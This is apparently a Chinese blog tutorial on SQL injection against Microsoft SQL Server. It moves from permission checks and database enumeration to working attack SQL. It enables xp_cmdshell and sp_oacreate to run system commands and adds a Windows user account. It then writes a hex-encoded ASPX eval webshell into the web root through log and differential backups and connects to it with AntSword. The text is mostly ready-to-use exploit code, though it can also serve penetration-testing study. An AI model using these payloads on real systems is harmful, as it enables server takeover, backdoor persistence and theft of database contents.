SQLServer数据库之SQL注入

目录

1. 前言

2. SQLServer数据库

2.1 数据库权限介绍

2.2 数据库信息

2.3 数据库管理

3. SQL server数据库的查询语句

4. SA权限开启xp_cmdshell获取主机权限

5. SA权限使用sp_oacreate执行系统命令

6. Getshell

6.1 DB_owner权限LOG备份Getshell

6.2 DB_owner权限差异备份Getshell



1. 前言

搜寻了好久发现一张非常详细的关于SQLServer注入脑图。

图片来源:https://xie1997.blog.csdn.net/article/details/88679754

2. SQLServer数据库

2.1 数据库权限介绍

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库,默认端口:1433。数据库后缀名(.mdf),注释符(--)。

SQL Server有三个权限级别:

sa权限:服务器级别,数据库操作、文件管理、命令执行、读取注册表等system权限,为SQLServer数据库的最高权限。

db权限:数据库级别,文件管理,数据库操作等权限user-administrators。

public权限:数据库操作guest-users。

sqlserver权限体系:https://www.cnblogs.com/milantgh/p/4643228.html

判断当前用户:

# 判断是否是SA权限
select is_srvrolemember('sysadmin')     
# 判断是否是db_owner权限  
select is_member('db_owner')
# 判断是否是public权限
select is_srvrolemember('public')

2.2 数据库信息

SQLServer数据库有6个默认的库,其中有4个系统数据库:master、model、msdb、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。需要注意的是系统数据库modeltemped默认是没有数据表的。

 SELECT * FROM Master..SysDatabases ORDER BY Name # 查询所有数据库

master数据库:master数据库存储控制SQLServer的所有信息,在这个数据库中包含所有的配置信息、用户登录信息、当前正在服务器中运行的过程信息。

model数据库:model数据库是建立所有用户数据库时的模板。当建立一个新的数据库时,SQL Server会将model数据库中的所有对象备份并移到新的数据库中。在模板对象被拷贝至新的用户数据库中之后,该数据库的所有多余的空间都将被空页填满。

msdb数据库:msdb数据库时SQL Server中的一个特例。该数据库实际是一个用户数据库,所有的任务调度、报警、操作员都存储在msdb数据库中。并且该数据还有一个作用就是存储所有的备份历史,SQL Server Agent将会使用这个库。

tempdb数据库:tempdb数据的作用是向访问数据库的用户提供,用来保存所有的临时表、存储过程和其他SQL server建立的临时的数据。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表

2.3 数据库管理

a. 修改默认端口

SQL server数据库默认端口为1433,可以是由SQL server配置管理器进行修改

SQLServer网络配置——>MSSQLSERVER的协议——>TCP/IP,右键属性,将IPALL的TCP端口更改为想要使用的任意端口。

3. SQL server数据库的查询语句

SQL server数据库中每个数据库内的表sysobjects记录着在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行。只有在 tempdb 内,每个临时对象才在该表中占一行。

sysdatabases是在master数据库中的表,是一个只读的表,里面包含所有数据库的信息。

select @@version;       --查询数据库的版本
select @@servername;    --查询服务名
select host_name();     --查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name();       --查询当前数据库名
select db_name(1);      --查询第一个数据库名
select db_name(2);      --查询第二个数据库名
select user;            --查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner 
use tempdb              --切换到tempdb表  
top n                   --查询前n条记录             
select substring('string',2,1)     --截取给定字符串的索引为2的1个字符
select ascii('a')                  --查询给定字符串的ascii值
select len('string')               --查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE';  --查询当前数据库的使用空间
sp_spaceused '表名'                --查询指定表名的详细信息
 
--判断是否是SA权限
select is_srvrolemember('sysadmin')     
--判断是否是db_owner权限  
select is_member('db_owner')
--判断是否是public权限
select is_srvrolemember('public')

/*
count(name)是查询总数
name是查询名字
*是查询详细信息
*/

--查询数据库
SELECT * FROM Master..SysDatabases ORDER BY Name -- 查询所有数据库信息 
select count(name) from sysdatabases     -- 查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
select name  from sysdatabases           -- 查询数据库的名字
 
--查询数据表
select count(name) from sysobjects where type='U' -- 查询当前数据库中表的个数
select name from sysobjects where type='U'  -- 查询当前数据库中所有表的名字
select * from sysobjects where type='U'    -- 查询当前数据库的所有表的详细信息
 
SELECT COUNT(name) FROM roycmsData..sysobjects WHERE xtype='U'  -- 查询指定roycmsData数据库中表的个数
select name from roycmsData..sysobjects where xtype='U'         -- 查询指定roycmsData数据库中表的名字
select * from roycmsData..sysobjects where xtype='U'            -- 查询指定roycmsData数据库中表的详细信息
 
-- 查询列
SELECT COUNT(name) FROM roycmsData..syscolumns WHERE id=(SELECT MAX(id) FROM roycmsData..sysobjects WHERE xtype='U' AND name='ROYcms_user')           -- 查询roycmsData数据库的指定ROYcms_user表的列的个数
SELECT name FROM roycmsData..syscolumns WHERE id=(SELECT MAX(id) FROM roycmsData..sysobjects WHERE xtype='U' AND name='ROYcms_user')         -- 查询roycmsData数据库的指定ROYcms_user表的所有列的名字
SELECT * FROM roycmsData..syscolumns WHERE id=(SELECT MAX(id) FROM roycmsData..sysobjects WHERE xtype='U' AND name='ROYcms_user')     -- 查询roycmsData数据库的指定ROYcms_user表的列的详细信息
 
-- 查询数据
SELECT COUNT(*) FROM roycmsData..roycms_user         -- 查询test数据库user表的数据的条数
SELECT * FROM roycmsData..roycms_user                -- 查询test数据库user表的所有数据

查询当前数据库中所有表的大小

DECLARE  @table_spaceused TABLE -- 定义变量存放结果
(name   nvarchar(100)
,rows   int
,reserved   nvarchar(100)
,data   nvarchar(100)
,index_size nvarchar(100)
,unused nvarchar(100)
)
-- 统计数据库里每个表的详细情况,并将结果归纳到对应的字段
INSERT INTO @table_spaceused(name,rows,reserved,data,index_size,unused ) EXEC sp_MSforeachtable @command1='exec sp_spaceused ''?'''  
 
SELECT * FROM @table_spaceused

4. SA权限开启xp_cmdshell获取主机权限

判断 xp_cmdshell 是否开启,返回如截图所示1时表示开启,为0时是关闭。

-- 启用xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
EXEC sp_configure;

-- 开启xp_cmdshell
execute('sp_configure "show advanced options",1')  -- 将该选项的值设置为1
execute('reconfigure')                             -- 保存设置
execute('sp_configure "xp_cmdshell", 1')           -- 将xp_cmdshell的值设置为1
execute('reconfigure')                             -- 保存设置
execute('sp_configure')                            -- 查看配置

-- 关闭xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;  -- 将xp_cmdshell的值设置为0即关闭
RECONFIGURE;

执行系统命令

5. SA权限使用sp_oacreate执行系统命令

使用以下命令查看是否可使用 sp_oacreate 执行系统命令

DECLARE @shell INT 
EXEC sp_oacreate 'wscript.shell',@shell output 
EXEC sp_oamethod @shell,'run',null,'whoami'

如果SQLServer 阻止了对组件 'Ole Automation Procedures' 的过程  'sys.sp_OACreate'  的访问,可以使用以下命令打开。

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  

再次尝试执行命令,便不会报错了,但使用 sp_oacreat 执行系统命令是没有回显内容的。

在没有回显但是可以执行命令的情况下,可以尝试利用系统命令新建用户。

DECLARE @shell INT 
EXEC sp_oacreate 'wscript.shell',@shell output 
EXEC sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user TMD Password@ /add'

6. Getshell

6.1 DB_owner权限LOG备份Getshell

利用数据库备份的过程写入一句话木马

SQLServer常见的备份策略:

1.每周一次完整备份

2.每天一次差异备份

3.每小时一次事务日志备份

利用前提

1.目标机器存在数据库备份文件 ,就是我们利用的数据库已经存在数据库备份文件,而且恢复模式得是完整模式。

2.知道网站的绝对路径

3.该注入支持堆叠注入

获取绝对路径

USE tempdb;CREATE TABLE tt_tmp (tmp1 VARCHAR(1000)) -- 在tempdb数据库内创建临时表tt_tmp

# 查找网站路径并将网站路径插入到表tt_tmp
INSERT INTO tt_tmp(tmp1) 
EXEC master..xp_cmdshell 'dir /s /b c:\test.aspx'

SELECT * FROM tt_tmp -- 查看路径

备份getshell

alter database roycmsData set RECOVERY FULL;   -- 修改数据库恢复模式为 完整模式
create table cmd (a image);        -- 创建一张表cmd,只有一个列 a,类型为image
BACKUP LOG roycmsData TO DISK= 'c:\Inetpub\wwwroot\发布后上传文件\ROYcms!NT\roycmsData.aspx' with init;   -- 备份表到指定路径
INSERT INTO cmd (a) VALUES(0x3c25402050616765204c616e67756167653d224a73637269707422253e3c256576616c28526571756573742e4974656d5b226a6965746577616e67225d2c22756e7361666522293b253e)  -- 插入一句话到cmd表里
BACKUP LOG roycmsData TO DISK='c:\Inetpub\wwwroot\发布后上传文件\ROYcms!NT\roycmsData1.aspx'  -- 把操作日志备份到指定文件
drop table cmd;    -- 删除cmd表

INSERT INTO cmd (a) VALUES(0x3c25402050616765204c616e67756167653d224a73637269707422253e3c256576616c28526571756573742e4974656d5b226a6965

746577616e67225d2c22756e7361666522293b253e)  # 是一句话木马 <%@ Page Language="Jscript"%><%eval(Request.Item["jietewang"],"unsafe");%> 的16进制

其中文件roycmsData.aspx是备份文件,roycmsData1.aspx是包含后门的文件。

使用后门管理工具(AntSword)进行连接

6.2 DB_owner权限差异备份Getshell

差异备份 (differential backup)

MSSQL数据库备份,基于完整数据库或部分数据库或一组数据文件或文件组(差异基准)的最新完整备份,并且仅包含自确定差异基准以来发生更改的数据。

利用前提:

1.知道网站绝对路径

2.该注入支持堆叠注入

CREATE TABLE [dbo].[test] ([cmd] [image]) -- 创建表test,表内字段为cmd,类型为image

--备份 定义变量@a和@s,jietewang的16进制表示(0x6a6965746577616e67)
DECLARE @a sysname,@s nvarchar(4000) SELECT @a=db_name(),@s=0x6a6965746577616e67 BACKUP LOG @a TO DISK = @s WITH init,no_truncate 

-- 插入包含一句话木马到数据库内
INSERT INTO [test](cmd) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e3c256576616c28526571756573742e4974656d5b226a6965746577616e67225d2c22756e7361666522293b253e) 

-- 差异备份数据库
DECLARE @a sysname SELECT @a=db_name() BACKUP LOG @a TO DISK='C:\Inetpub\wwwroot\发布后上传文件\ROYcms!NT\backupSHELL1.aspx' WITH init,no_truncate

Drop TABLE [test]

 备份成功了,但是没办法访问后门文件,也没法使用后门管理工具进行连接。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值